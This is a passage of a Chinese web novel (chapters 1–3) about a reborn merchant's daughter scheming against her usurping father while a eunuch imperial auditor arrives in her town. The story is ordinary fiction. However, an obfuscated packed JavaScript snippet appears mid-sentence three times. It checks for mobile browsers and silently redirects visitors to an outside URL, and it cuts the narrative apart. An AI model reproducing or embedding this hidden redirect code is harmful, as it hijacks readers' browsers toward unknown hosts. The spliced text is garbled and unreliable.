《督主他故作镇静》 1. 骨痛 「姜斐囡！既非男儿，为何你偏不认命？」 ______ 被挤压的胸腔积郁难行，四肢仿佛寸寸碾尽。 窗外一声乌鸦啸鸣，似婴儿初啼。她艰难呛出一口浊气——终是还了阳。 模糊视线里陌生又熟悉的楠木拔步床，姜斐囡哑着嗓子唤了人到跟前： “现在是什么时候？” 丫鬟鸢飞忙不迭将她扶起身，嘴上应答着：“现在是巳时。” “何年？何月？何日？” 鸢飞微愣，担忧地望向她： “今日是鹏程五年六月初十。” 得到那个期盼中的答案，姜斐囡心如鼓捶。被中掐红了手腕子，强迫自己冷下脸来。 “是我睡糊涂了。” 她假意扶住并不疼痛的额头，似瀑黑发恰如其分掩住她难抑的讥笑： 是了，鹏程五年。她终是回来了。 鸢飞只当她是跪祠堂风寒入体，脑子还烧着在。 为验证心中所想，姜斐囡急不可耐翻身下床，脚下钻心酸软却叫她一个踉跄差点脸先着地。 “人还没好全乎，怎得就蹦上了？” 鸢飞眼疾手快将人捞起。她恼她不爱惜自己，言语多少带些埋怨。 姜斐囡并不介怀鸢飞的冒言。鸢飞是她在大宅的亲信，也是生死抉择时唯二可以托身的人。隔世还能听见她聒噪的絮叨，只叫她倍感安心。 可惜眼下并不是缅怀的好时候。 姜斐囡敛下瞳收起心绪：“我要见老爷。” 鸢飞没好气道：“老爷在花厅待客，您去掺合又得讨顿打。” 前几日刚因为牌匾的事顶嘴被罚去跪祠堂，又是湿寒又是高热差点把鸢飞吓到魂飞。可眼下人还虚着，上赶去讨骂多少是有些失了智——这姑奶奶好歹消停两天，待到真打起来，她俩跑路也不吃亏。 姜斐囡自有她的打算，尚不能全盘托出。她腿脚不利索，还巴望着鸢飞搀扶。姜斐囡也不顾名门闺秀形象，顺势柔身往地上一滑，泼皮般瘫坐，拽住鸢飞裙角轻摇：“好妹妹，咱们就远远看几眼，偷偷藏在屏风后面不叫人发现。” 都说撒娇的女人最好命，姜斐囡记得鸢飞偏偏就吃这套。 “那就偷偷的。” 鸢飞叹口气，终究是心软了。 ______ 说是到屏风，实际姜斐囡连门槛都没跨过。 无他，他们密谋的声音属实大了些。 “自打新设的审计监落地，叶国枝那厮好不威风。”开口的是富土镇知县王珂：“整个京师都被他搅得人心惶惶不得安宁！” “幸佞揽权竖子当道！”这是她父亲孙房山的声音。 孙房山谄媚的顺着王珂话头发挥：“可叹咱们这些赤心报国的，竟只能偏于一隅明珠蒙尘。” “唉，贤弟。可不是。”王珂恶恶一叹：“所以这不是找你商量来了嘛。” “那小子在京城闹腾还不够，竟想把手伸到咱江南来！兄弟家里这些天不方便招呼，你帮我打发了去。” 孙房山听到审计监要来人，心肝都颤了颤。内廷第十三监审计监叶国枝凶名在外，是他远在富土小镇都有所耳闻的。他们背后骂归骂，可真要去碰一碰京里这位红人儿，他却是不敢的。 孙房山心生惧意吞吞吐吐推推搡搡，霎时失了方才口舌逞恩仇的胆气：“可那是个、那是个、那是个……” 姜斐囡光听墙角都能想象出孙房山此刻的窘迫，她讥讽的勾起唇角，暗暗补上孙房山不敢道出口的心声：可那是个太监啊！ 这厢王珂看出孙房山的迟疑，心中不快怒目而视： “不住你家难道住我家？” “我可是登过科的进士，怎么能同阉竖扯上关系？” 这话甫一出口，孙房山微愣，王珂也愣住了。 阉竖，太监，幸佞。正人君子们不惜呕心沥血生造出各色词汇，将自己与腌臜俗世切割——哪怕他们自己也不见得有多么干净。 王珂不慌不忙地找补：“为兄在官场如履薄冰，上上下下都被人紧盯着。你们商户…尚能灵活些。” 圆滑的安抚放在此处，多少有些不合时宜的虚伪了。 “更何况我们家过些日子还要纳新妇，不宜动土。” “贤弟，待咱们对付过这茬，叫囡囡过了我家的门，我再拨你一笔款去修缮便是。” 王珂这心眼子快杵脸上了，就连姜斐囡都听出他毫不掩饰的轻慢敷衍。平日里对姜斐囡横眉怒目的孙房山，此时却连半个不字都不敢放。 “那是那是。” 孙房山陪着笑脸喏喏道：“还是王大人考虑周全。” 听着两个快入土的老男人在背后编排自己的人生，姜斐囡胃里一阵翻涌，耐性已然突破极限。 “父亲，您在吗？” 姜斐囡忽得出声将其余三人都吓了一跳。 无需任何人应允，姜斐囡在鸢飞惊恐的目光下施施然步入花厅。 “呀！王大人也在呢。” 她漫不经心佯装着巧遇。 姜斐囡生了张娇憨面容。一双柳眉黛若青山，剪水瞳波光含情，配上略显青稚的芙蓉面，是纯情与风情间的第三种绝色。 她出来时只随意套了件湖绿襦裙，肌肤带着病中未褪的潮红，无人搀扶的将驯躯体略不稳当，不远的几步路叫她走得如蒲柳依依似玉山将倾，绝色之上更添几笔我见犹怜的注脚。 王珂望着姜斐囡满眼喜色。 坊间皆传花苑出来的女子能文善舞，是治家的一把好手。他想着人无完人，便默认颜色会差着些许。 如今一瞧，这颜色也是不差的。 孙房山看见自作主张的姜斐囡，脸阴得能滴出黑水来： “谁叫你出来的！丢人现眼的玩意！” 当着王珂的面，姜斐囡故作天真： “女儿去拿布坊账本，管事将我打发了回来。这怪事父亲可有头绪？” 这怪事说怪也不怪。不过是孙房山借祠堂冲撞尊长的名头，强收了她布坊的财权。姜斐囡心如明镜，旧事重提也不过是借着王珂的势来翻案罢了。 “账本！账本！整日就知道账本！长辈在议家国大事你没瞧见吗？”孙房山自是不会给她翻案机会的。他暴跳而起，试图用礼法塞住她的话头：“你在川求学五年，回来刺绣女工全然不会，女德女诫如听天书。倒学会了向我讨要账本！我孙房山未死你便如此着急掌家，连最基础礼义廉耻都不顾，花苑五年就是这般教导你的？” “父亲怎能如此揣度女儿。”姜斐囡垂泪欲滴好不可怜：“女儿知晓父亲日理万机。可这偌大家什总得有人操心。女儿夜夜对账，也不过是担心底下人作鬼，重蹈之前覆辙罢了。” 姜斐囡说的是姜家败落的旧账。母亲一死，沉溺温柔乡的孙房山被自己心腹架空，待她从四川回来时，布坊已经被家贼里应外合掏成了一具空壳。她虽力挽狂澜，最终也只堪堪保住部分家业。 ——此乃孙房山人生一大恨。 话将落地的瞬间，一盏茶杯呼啸而过，贴着她的额角，哐哐坠地。 “小姐！”屏风后鸢飞循声而来，焦急扯住姜斐囡检查。 “无碍。” 姜斐囡不是没躲，只是这半生不熟的身体却是个不争气的。好在杯子未正面击中她，擦过的地方只泛起了轻微红晕，并不碍事。 “贤弟，这我可要说说你。”王珂在旁瞧见美人受难，心中将孙房山骂了一万八千遍。姜斐囡未来是要嫁入他门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051083|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里去的，磕磕碰碰毁了脸，亏的是他自己个儿。 “说起来，这布坊也该有王大人一半。”姜斐囡淡定擦掉脸旁水渍，睁眼扯白：“父亲曾说过，未来布坊半数年收都要作为女儿陪嫁送入王府，从此血脉交融，永结两姓之好。” 三言两语间，姜斐囡轻飘飘就将布坊所有权划了一半给王珂。 “既然王孙两家都有份，作为孙家的女儿，王家未来新妇，看护财产的担子小女责无旁贷，莫让旁人觊觎了去。” 俗语说抄家的府尹灭门的知县。既然孙房山敢拿尊卑礼法压她，她便送他一份大礼——可别忘了不光父对女有尊卑，官对民还存着更大的尊卑。 “女儿不过是盼着王孙两家顺利结好，如此在父亲眼中也是错吗？” “没错没错。”王珂在旁附和道。 听见自己还分了一杯羹，他心里早就乐开了花。花苑女子果真如传言般贤良淑德，尚未过门就想着为夫家谋算。王珂对她甚是满意。 孙房山虽对姜斐囡大为火光，碍着王珂在场也不敢说她不是，只能闭嘴吃下这个闷亏： “是为父考虑不周了，过些日子就把账册还你。” 姜斐囡却是不依不饶：“女儿已经迫不急待为两姓之好尽心竭力。” 她又不是小孩子，过些日子是过多少年？ “应该的，应该的。”王珂此时已经彻底站在姜斐囡这边。 一想到这等绝色美人即将自带家产成为自己的新妇，他忽然觉得心如蚁噬，甚至整个六月都索然无味，只恨明天没有一觉起来就是与她的洞房花烛夜。 姜斐囡回望自己名义上的婚约者——他已是五旬老朽，身高不足六尺，口中七种味道，眼神八分浑浊，生了九分丑陋面貌，却有着十成十的贪婪——而她则毫不吝啬自己的笑容。 姜斐囡看着王珂，王珂转向了孙房山：“给她账册。” 孙房山不情不愿招来小厮，临交到手里还恨恨嘱咐：“可别掉了。” 姜斐囡志得意满从他手中抽出账册，那狠毒的眸光黏着她欢愉的背影，直至彻底望不见边。 孙房山神色阴晦：账册且叫她拿着，反正她也蹦跶不了几日了！ ______ 夜色深沉，鸢飞早早被她哄睡了去。 姜斐囡一人踱步至宅中心的水榭。 乘着习习晚风，池中荷叶连连卧鲤浅眠，如昼白月将湖面映成一面镜子，年轻容颜在粼粼波光中像是一场初醒的幻梦。 很难想象，她得偿所愿又回到了这里。 前世母亲病逝，孙房山伪造十二封急书将她从花苑召回富土。她本不想接下这个烂摊子。可等着上工的绣娘和姜家百年心血，终是没叫她狠下这份心来。 整两年不眠不休的商海厮杀，稍有起色孙房山便迫不及待拆了姜家的牌匾，还将她许给了快入土的老登续弦…… 孙房山。 姜斐囡默念着那个她痛之入骨的名字，正着咀嚼又反着嚼碎。 人在怒到极点时是会笑出声的。 姜斐囡笑了。她颇为怀念地蹲下身捏着池塘边松软的土。 ——最后她就是在这儿被害死的。 「姜斐囡！既非男儿，为何你偏不认命？」 死亡回响如影随形，胸间起伏的炙热呼吸却提醒着她再世为人的真实——连带着还有那贴着骨缝的噬心坠痛。 她投下一粒石子，将池中如花美貌搅得扭曲割裂。仰头望向天边那银盘圆月，沉郁瞳仁在月色中燃烧，仿佛两簇鬼火磷磷闪耀。 空无一人的沉寂夜幕中，姜斐囡无声嗤笑：阎王都不曾叫她认下的命，他孙房山又算个什么东西？ 既然有幸重来一遭，该她的不该她的，这辈子都得给她吐出来。 2. 贵人 猎豹懒洋洋趴在暗黑金砖上假寐，腕粗白蛇避着光从房梁悠闲耷拉下尾巴，泛着冷芒的翠鸟吞食着多汁浆果，将一切尽收眼底。 与肃穆古板的金銮殿不同，珍兽坊只是西苑里趣意盎然的一方天地。鹏程帝将其拾掇成称心模样，作为私宅常居于此。日头久了这里也就自然成为后宫有实无名的权力中心。 朝日清风下暗香徐徐，窸窣的波斯语一问一答间，鹏程帝对异乡人的故土俗语信手拈来——在外旁听的叶国枝凭着苦学三年的底子，也只堪堪听个懵懂。 叶国枝屈身守分恭候在门侧，静待着鹏程帝的征召。直到朝晖蒸干了衣襟的风霜，丝袍的大食商人方才眷眷离去。 “国枝啊。” 叶国枝应着声猫腰入殿中跪定。 偏殿里馥郁芬芳，来自暹罗的异草同安南的奇花堆叠辉映，青年天子被攒聚其中，散发出四海皆往万方来朝的霸道威仪。 鹏程帝翻手将小山般的奏折倾覆，纸页纷纷如雪簌簌如翅崩而垂地： “这几日参你的折子又递了上来。” 游龙吐息仿若实质缠绕颈侧，近在咫尺又若即若离。 叶国枝弓腰垂首观眼观心。 他只是皇帝的一把刀，这里没有刀发言的余地。 “朕已经叫司礼监都驳回了。” 鹏程帝神色晦暗，心中再清明不过：这群人哪里是来参叶国枝的？分明是来打他的脸，警告他别再深究。 自有鹿之治将潍州溃败匡乱反正，尔后紧跟着漠北光复与天端盛世，两朝的励精图治即带来了民富国强，也带来了未形之患。邦交朝贡频繁，民间食货兴盛，诈欺之术花样迭出，官商勾结抗税成风。待江山交予他手时，这臃肿的瘤子已是积重难返。 如今内廷炙手可热的第十三监——审计监，便是在如此根基上建立的。 叶国枝比他预想的更加能干。 自受命提督审计监，不到两年便战绩斐然。这里言官的每一折骂本，都是对他的认可。 只可惜隔靴搔痒之法终是难抓实质痛楚。 “工部决堤案久未有突破。再押着王谢，内阁某些老登怕是要翻天。” 归根究底，天高皇帝就远。 乡土历来是朝臣们的自留地。土豪劣绅向下宗族姻亲同气连枝，向上乡谊结党官官相护。地方与中央官僚盘根错节情同鱼水，他这四海天子倒成了那个外人。 鹏程帝对此感到深深的怠倦。 “国枝啊，你怎么看？” “既然王大人已是查无可查，奴这就放了他。” 鹏程帝眉头紧锁：“什么意思？” “奴婢以为，”叶国枝将腹稿草构一番，缓缓开口：“凡事行必有迹，有迹即可查。所谓天衣无缝，不过自作聪明。不若将计就计放大抓小，总有顾不着的尾巴。” 鹏程帝百无聊赖的眸子放了光亮，他支着头兴味盎然盯着他：“这帮老小子可不好对付。” 叶国枝匍匐在地，一身脊骨似有形般钉入厚沉金砖，无可撼动： “奴定不辱皇恩厚爱。” 鹏程帝唇角微勾： “去，把朕的银子都带回来。” ______ 王珂接到消息时，审计监已经入了城。 过往钦差巡案，把银子散出去，起码可以探得个脚程远近，钦差的个人雅好更是明码标价。若是寻着中间人递个话，今年就算过了关——这叶国枝的行踪却是飘忽异常，除开第一日在京郊驿站被目睹过行迹，往后仿若人间蒸发。甚至原该快马加鞭十五日的路程，他竟五日就到了富土。 如若不是审计监亲手递上名帖，怕是叶国枝不声不响入了城，他们还以为他在路上！ 今日多雨。 王珂守在衙门口如临大敌。 富土镇只是一方小城，从城门到县衙的几步小路却叫他等得摧心焦肺。直到视野中那顶艳红软轿在云雾里若隐若现，向来金贵的王大人也顾不得凄风苦雨，撇了家仆的伞一路小跑而去。 师爷冯唐率先翻身下驴，颇有眼力见地抽出脚踏。受王珂嘱咐，冯唐冒雨陪着审计监从城门行来，路上他更是使出浑身解数想套近乎，轿帘却严丝合缝的好像缝住一般。他至今连个人影都没能瞧着。 “大人，衙门里饭菜已备好。紧着吃口热乎的。”冯唐讨好地朝着软轿弓身请示。 软轿只是停着，里面人却是纹丝未动。 叩叩——。两声轻响。 轿旁的随从立即心领神会：“咱们大人说不必留饭。路途遥远舟车劳顿，劳烦先给咱带去落脚点整顿整顿，也好换身衣裳。” 死太监可真会拿乔！王珂心中暗骂，恨恨揣度：都说这些阉人身下割过一刀憋不住尿，这么躲着不敢见人，莫不是尿在身上了。 “那是自然，那是自然。” 心里骂归骂，面上只敢喏喏应答。 “下官已经吩咐好姜府，即刻就能下榻。” 如此前倨而后恭的王珂，丝毫不见前几日在孙房山面前的傲世孤标。若是孙房山有幸能目睹他此刻的奴颜媚骨，怕是都认不出个人样来。 一顶艳红软轿，晃悠悠钻过狭长的小巷，身后跟着七八随从，阵前知县骑驴开道，师爷小跑紧追。虽没摆出仪仗扰民，明眼人却晓得富土镇此番定是来了个大员。 雨还在下，叫王冯二人浇了个透心凉。 软轿将将停在姜府门口，冯唐娴熟地掏出脚踏：“大人请。” 白净的手撩开门帘，入眼便瞧见轿前的碍事物什，往旁地一蹬： “没用玩意儿。” 浅淡薄荷香随风撒开，将沉郁雨季唤醒。翻飞云锦的簇拥下，一尊玉人步出。秀逸面庞穆若清风，素淡的眸似古井无波，雌雄莫辨的眉宇间带着宫人特有的雍容怠倦，若比水月观音现。 到底是京里下来的贵人。 只见叶国枝头戴乌纱描金曲脚帽，一席大红贮丝蟒服，在诗情画意的江南墨卷中肃杀如一笔朱砂批红，冲淡了他不似人间的飘渺。他直身立于轿前，颀长挺拔的身姿比王珂还要高两个头。王珂只堪堪望到他胸前，瞧着那四爪坐蟒瞋目而视不威自怒，富丽妖娆锋芒毕露。 冯唐眼皮一跳，蓦然想起那句俗谚：「远州僻壤，见鲜衣怒马作京师语者，转相避匿。」① 叶国枝操着口地道京片子质询王珂：“怎得是孙府？” 众人抬头只见华贵半旧的门头上，一张崭新镶金的匾额格格不入地挂着，上书：孙府。 无数双眼睛齐刷刷望向门口孙房山。 孙房山一早就得了王珂的命令恭候在此，本意是想涮个脸熟，万一能走动也算个好差。不成想叶国枝这厮甫一落地，竟拆穿了他最想掩盖的尴尬。 用脚趾头想都知道是谁说溜了嘴，奈何他还需要对方替他找补。孙房山不得已朝王珂投去求助目光。 “提督大人，此地便是下榻处。” 王珂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051084|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中将孙房山骂了三万六千遍，没事换个劳什子的牌匾。又将自己骂了一遍，怎么就偏偏顺嘴又把这里唤了姜府。 “不是说得姜府？” 王珂硬着头皮解释：“这里曾是姜府。” 富土姜氏百年辉煌是不争事实，孙房山不过是个刚翻身没多久的赘婿。叶国枝只需出门找个人随口问问，这谎就瞒不下来。倒不如照实了说。 ——说到底，还不是孙房山急吼吼改了人家门楣惹出来的乱子？自己造的孽自己收！ 王珂想到此处，嘴里说的昧良心话，都带了几分咬牙切齿：“姜夫人同孙老爷伉俪情深。如今斯人已逝，这位孙老爷不想睹物思人，便将宅邸修缮了一番。” 这一修就把原本属于姜家百年的牌匾，换成了他孙房山的孙。 叶国枝似笑非笑掀起眼皮望向孙房山： “孙老爷就是你？” 他幼年净身，声音本就阴阴柔柔。配上此番话里有话，更显阴阳本色。 孙房山此前从未见过宦官，叶国枝这阴晴不定的性子叫他冷汗直冒：“草民不敢妄称老爷。” “你说你，”叶国枝不屑嗤笑：“吃女人就吃女人，粉饰得那么好听作甚？既要吃人肉，又没本事承认，事后还得鬼鬼祟祟遮遮掩掩找补。” “都说无毒不丈夫，你这勾当连丈夫都称不上。” 富土的姜氏布坊，在京畿也是响当当的老字号，他们宫人亦时常采买。若不是前任掌门猝然离世姜家缠于内斗，凭着近百年的好名声，随宫里的船出海换银也能顶上一顶皇商帽子。 这赘婿得此贤妻，竟还贪心的在其身后给宅邸改名换姓。叶国枝暗淡了眸：换作是他，别说是让他入赘，叫他改名随夫人姓姜都是可以的。 孙房山自诩也是读书人，被个阉过一刀的东西奚落不似丈夫，简直是书生的奇耻大辱。他却是两股颤颤，连半句都不得反驳。只敢在心底暗骂叶国枝这死太监性子，管得可真够宽！ “大人提点的是，”到底是在商海摸爬滚打过，学会了屈伸。孙房山腆着脸唯唯诺诺：“草民稍后便把门匾换回旧物，告慰亡妻在天之灵。” 叶国枝凉凉扫了一眼孙房山，对着王珂说道： “如此，即可。” ______ 越过高耸的槐树枝叉，黛瓦上生了枯草，叶国枝下意识朝旁的阁楼望去——那处空无一物。 姜斐囡将狂乱的心跳尽数压在半透的明瓦窗后： 前世她只知道是叶国枝来了后，她据理力争都不曾换回的尊严，又被孙房山挂了回去。 原是这样要回的。 姜斐囡内心五味杂陈。即感激叶国枝的仗义直言，又耻于告慰先祖的正当请求，竟需要仰仗更大的鼻息为她讨回公道。 姜斐囡只觉这世道荒唐可笑。 而国枝—— 在这龌蹉的世道，叶国枝于她是不同的。仅仅在脑海中轻抚过这个名字，心头柔软之处亦会颤动。 方才只匆匆一瞥，他好像瘦了些许。 是了，顺天到富土原该是十五日的行程，全走水路最快也得七八日。若想五日到达，只能顺风行船逆风骑马，不吃不喝日夜兼程。 姜斐囡心中不是滋味，蹲在墙角阴沉着脸，默默在狗皇帝的前世累怨上再添一笔。 尚且不到机缘。再等等。 她紧咬唇暗自劝告。沉寂的思念无声充盈着空旷，泪水兜兜转，终是灼红了眼眶。 3. 夜奔 来富土已有五日，决堤案的尾巴连根毛都没见着，倒把镇上寻乐的地方摸了个门清。 姜府牌匾被识相地挂上了门楣。先头叶国枝在自家门口打了他的脸，孙房山也不介怀，甚至隐隐主动把另半边脸凑上来跃跃欲试——这些日子，他尽拉着叶国枝胡吃海塞，搅得叶国枝脱不开身。 背后是谁的意思，叶国枝心里有数。 他倒也不急，遛狗似的陪他们瞎转，回到姜府往往已是月上柳梢头。每每深夜总能瞧见楼下那位喂鱼的小姐。 仿佛存在着某种默契，她喂她的鱼，他便看她喂鱼。他不曾出声打搅，她亦不曾施舍半刻凝眸。 就这么萍水相逢，倒也相安无事。 几日下来，亦成为叶国枝在富土的一桩固定消遣。 昨夜孙房山喝酒托了大，日上三竿还醉在屋里躺着。叶国枝难得落了个清净。晨间听过下属例行报汇报，他决意在姜府内活动活动。 孙房山早早交代过大宅上下，叶国枝是宫中来的贵客。寻常杂役避让都来不及，是以他这一路都是畅行无阻的。 跨过养着花鲤的池塘，行至大宅最深处，便得见一幢静辟小楼。 小楼两侧的上行通道早已被人撤走。 这是一幢深闺绣楼。传统民俗中，大户人家未出阁的姑娘，到了梳金钗的年纪①就会被送上绣阁二楼锁住，平日吃穿用度均由仆役用吊篮配送，大门不出二门不迈以彰示婚前贞节。 叶国枝望着闭塞小楼，神色复杂： 这样一座黄金牌坊可不是家家都供得起的。唯有世家大族或财资雄厚者，才甘愿豢养一门不事生产的闺秀作为夸耀谈资，往后结亲的门户也能往高里抬上一抬。 整个姜府上下，够格住在这里的闺秀身份不言而喻。 “谁在那里？” 正值用饭的点，鸢飞抱着满满一提篮来给姜斐囡补给，便瞧见林间那道可疑身影。 叶国枝自小径幽暗处行出： “审计监，叶国枝。” 他没穿那身御赐蟒服。 银丝冠素素挽住乌发，天青色花纱罗贴里薄如蝉翼，底下缀了牡丹粉的里衬，若隐若现的艳透过寡淡的纱，一片李白桃红煞是好看。 “叶大人，”鸢飞这些天也多少捡过下仆间的耳朵，知晓这位京中红人的厉害。虽感激他为小姐争回牌匾，却也不由心生警惕：“此处是内宅，不是外男该来的地方。” 叶国枝此番并非唐突误闯。 照常理来说，身为姜氏布坊的实际掌权者，姜家小姐多得是需要抛头露面处理的活计，本不该被限制住行动——只因着他的到来，这位可怜小姐便被禁了足。 怕是有人不希望他触及这位实权掌门，而她正是整个宅邸的命门所在。 “在下审计监叶国枝，”尚未见着人，叶国枝朗声对着小楼拱手行礼。与王珂周璇时的倨傲不同，面对姜斐囡的他分外谦逊： “久闻姜掌柜大名，未有冲撞之意。但求一叙。” 叶国枝瞧过鸢飞的篮子，里面满筐满谷都是线装账册。明明是饭点却不见丁点吃食，人大抵是候在楼上着急看的。 “这位官爷，此处并无您探求之物。” 孤高清傲的声音自上响起，终是只闻其声不见其人：“布坊账册与您所查无关，烦请大人高抬贵手。” “姜掌柜误会。”叶国枝板板正正朝向小楼二次作揖：“富土姜氏百年名门，姜掌柜扶将倾大厦起死回生，名震四海。叶某仰慕姜掌柜才情诚心求见，还望掌柜成全。” “小女子一介女流，担不起震四海的威名。”只听那小楼传音悠悠飘下：“诚如您所见，这绣阁锁死，小女身为未出阁女眷，未得家父应允不得出足半步。” “姜掌柜——” 他欲为自己多争搏几句，却被姜斐囡学着鸢飞的话淡淡打发了去： “大人身为外男于内宅游走，虽为贵客亦不通情理。还望大人珍重。” 他原以为，接连深夜喂鱼是姜斐囡递出的拜帖。行在纷杂的小道，叶国枝满腹狐疑：足不出户无疑是她的谎言，不然那夜夜所现的魅影还能是鬼不成？ 可她为何要说谎？ 回望那座静辟绣楼，参天密林层层叠叠将小楼裹挟，仿佛万缕蛛丝编聚成网，黛瓦小楼被拱卫其中，似青面蜘蛛獠牙微张，静待着猎物惠临。 叶国枝不禁陷入沉思： 还是说只要他人在此处，就已算入了她的棋局？ ______ 听见梯子被挪动得吱呀，姜斐囡勾动了唇角。 不一会儿，孙房山涨着宿醉的红脸，气呼呼爬上了绣阁。 凌厉的巴掌迎面乎过，姜斐囡结结实实挨了一掌。 “贱人！你又背着老子搞什么？！” 下人告知自己叶国枝会见姜斐囡的时候，任是再宿醉的酒也该清醒了。孙房山冷着汗疾驰而来，生怕她讲出什么不利之言。 “审计监今日来人，女儿谨遵父亲教诲，未曾踏出一步，未曾多言一句。”姜斐囡敛了眸作恭顺状。 “你有这般好心肠？”孙房山冷着笑阴阳怪气。 王珂不了解尚能被蒙蔽，他还不清楚自己生出来的狗玩意？——她不过是披着人皮的狡诈野兽，项圈稍有松动便敢噬主的畜牲——跟她那倒胃口的亲娘一个脾性！ “我可没安什么好心。”姜斐囡凉薄的眸扫过孙房山：“姜家有事便是我有事，我不过是在自救罢了。” 孙房山盯着姜斐囡好一阵想揪出她的端倪，却也明白她所言与下人转述并无出入。 “想保住你姜家百年基业，你最好别耍什么花样！”孙房山咬牙切齿恨恨斗狠。好在这畜牲有所牵制，只要这条狗链尚存一日，他便能拽着她往东西南北去。 忽而他似想起什么，上前几步钳住姜斐囡下颚： “别妄想你给了知县恩惠，就能把他拉拢了去。” 孙房山仔细端详着她前些日被砸伤的淤肿，不得不承认这个女儿多少有几分姿色在身。 孙房山轻蔑一笑：“他可是个填不饱的饕餮。” 王珂到底是个男人。即便刚开始贪图姜斐囡新鲜，最终利益落到实处，还是得来找同为男人的他方才安心。姜斐囡若想取而代之，只得付出比他更高昂的代价。 可是她舍得吗？——她要是舍得，就不会发蠢被骗回富土！ 驱虎吞狼，王珂便是他引来治她的那座虎。 他虽挣不得那几两臭钱，却比她更善于钻营权术。她姜斐囡再能跳，亦跳不过她这道女儿身。父母之命媒妁之言，凭王珂的官家背景坐镇，捏死她个妇道人家可再轻易不过。失了显耀家世的荫庇，天地之大安能有她栖身处？ 姜斐囡这种聪明人自然晓得什么做得，什么做不得。 “姜斐囡，”孙房山邪恶的吐息在她耳畔低语：“老子就算舍了半数家财，你也终是我孙家的一条狗。与其搁这耍心眼，不如好好想想给少勋多挣些家产。” 千金散去还复来。比起贪婪的同伙，眈眈野兽才是真正让他夜不能寐的凶物。是以他拔去她的尖牙，用礼法叫她跪服，永生永世成为他点石成金的奴隶！ 望着孙房山好不得意的背影，姜斐囡抚上疼到发烫的脸颊，终是一声轻叹： 可真是时势比人强。 如今连账册都看不懂的废物点心，竟也敢来指教她做事了。 ______ 王珂下午约了一行人去荣宝斋鉴宝。只见掌柜的将大门紧锁，领着他们入了内室。 一间朴素的书房，墙上挂着书画二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051085|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三卷，博物架上躺着半新不旧的瓷瓶，案上摆着笔墨纸砚若干。眼睛稍拙便会看漏了崔白的花鸟、宋汝窑官瓷和米芾紫金砚。 “这幅是崔白的寒雀图。”掌柜站在画前为王珂细细推介。说是介绍，其实多是在听王珂品评： “老枝浓墨枯笔浑然天成，小雀活泼天机各显灵动，当真是名家手笔！” 叶国枝对这些文人风雅甚感无趣，便径自游走观望。 许是要彰显名士风度，寻常金器玉饰珊瑚奇石都被掌柜丢在犄角旮旯，仅供给屋子添几分华彩。在这份刻意营造的淡泊之下，富土之地无愧乎其名。 ——实难想象，如此富庶为何要年年往上报灾抗税？ 不知不觉间，叶国枝停在了一把折扇前。 银鎏金蕾丝烧蓝做骨，扇面绘着艳丽的交颈浮水鸳鸯，羽毛肌理栩栩如生。 他直盯着那双鸳鸯，不禁恍了神。 “大人可是有意？” 随行伙计懂眼色的将折扇摘下，平摊在素锦之上，好叫客人看得更清楚。 叶国枝未伸手，只是道了声：“瞧着热闹。” 王珂被这厢动静吸引，叫嚷着拥过来：“下官看看，叶大人可是相中了什么？” 待他看到那柄折扇，不由心中嗤笑，暗叹这死太监当真不识货。此处满坑满谷的名家佳作不赏，偏爱这大红大绿的玩意。属实是附庸风雅都不知风雅二字何解。 “呀！大人好眼光！”掌柜的凑身上前：“这是之前佛朗机商人定做的外销扇，小的藏私留了一把，竟被大人挖了出来。” 见叶国枝有几分动心，掌柜不由趁热打铁：“这扇子在佛郎机可时髦，大人带回去一把保准讨夫人欢颜。” 叶国枝打断他：“咱家只身一人，怕是用不上。” 空气瞬冷。这位爷瞧着高大英俊，没成想开口竟是个打宫里出来没把的。一腔好意拍到马腿上，掌柜心道晦气，颤抖着俯下身不敢多言。 “瞧着合眼就先收着，”王珂适时接过话茬：“扇子也是人也是，保不准哪天就聚齐了。” 叶国枝虽不喜王珂这个人，话却是好话，正正说在他心坎上：他在深宫孤苦打拼多年，如今也到了该寻伴的年纪。 眼见叶国枝神色缓和，人精王珂打圆场的间歇狠瞪了掌柜一眼。只见他大手一挥，颇有将士横扫千军的气概： “还不快给叶大人包起来，记下官账上！” 叶国枝不置可否，算是承下份人情： “那就先谢过王大人。” ______ 入了夜，喂鱼的小姐却不再来了。 叶国枝睡在床上翻着烧饼。晚间又被那波人拉去喝了酒，胃里正翻江倒海膈得慌。他左翻右滚，怎么躺怎么不爽利。 重要的是，楼下喂鱼的小姐不再来了。 屋内火光灼人，他抓过枕边《太平广记》挡在头上。这是原就被人放在房里的书，偏不是首卷也不是尾卷。他捡着前人的折痕往后翻，刚巧在讲红拂女月夜私奔那段。 叶国枝可没心思管什么红拂女不红拂女。 